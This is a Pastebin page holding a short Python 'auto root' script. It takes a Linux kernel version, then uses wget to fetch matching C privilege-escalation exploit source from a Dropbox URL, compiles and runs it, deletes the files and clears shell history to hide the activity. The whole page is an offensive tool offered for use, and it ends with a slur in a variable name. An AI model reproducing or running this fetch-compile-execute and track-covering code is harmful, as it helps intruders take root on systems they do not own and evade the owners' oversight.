Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #coded by amine admiral
- #exploit name "auto root"
- #"You don't have sufficient permissions" error when you try to change the R ,,!,, G
- import os, sys, getopt
- kernal_version = ''
- myopts, args = getopt.getopt(sys.argv[1:], "v:h:")
- for o, a in myopts:
- if o == "-v":
- kernal_version = a
- elif o == "-h":
- kernal_version = a
- print("Usage : %s -v kernal version")
- if "2.6.32" in kernal_version:
- os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.32.c;gcc -o 2.6.32 2.6.32.c;./2.6.32;rm 2.6.32 2.6.32.c;history -c")
- os.system("sleep 5;id")
- elif "2.6.18" in kernal_version:
- os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.18.c;gcc -o 2.6.18 2.6.18.c;./2.6.18;rm 2.6.18 2.6.18.c;history -c")
- os.system("sleep 5;id")
- elif "2.6.23" in kernal_version:
- os.system("wget https://dl.dropboxusercontent.com/u/107219697/exploit/2.6.23.c;gcc -o 2.6.23 2.6.23.c;./2.6.23;rm 2.6.23 2.6.23.c;history -c")
- os.system("sleep 5;id")
- elif "help" in kernal_version:
- packet_master = 'skid_fagget'
Advertisement
Add Comment
Please, Sign In to add comment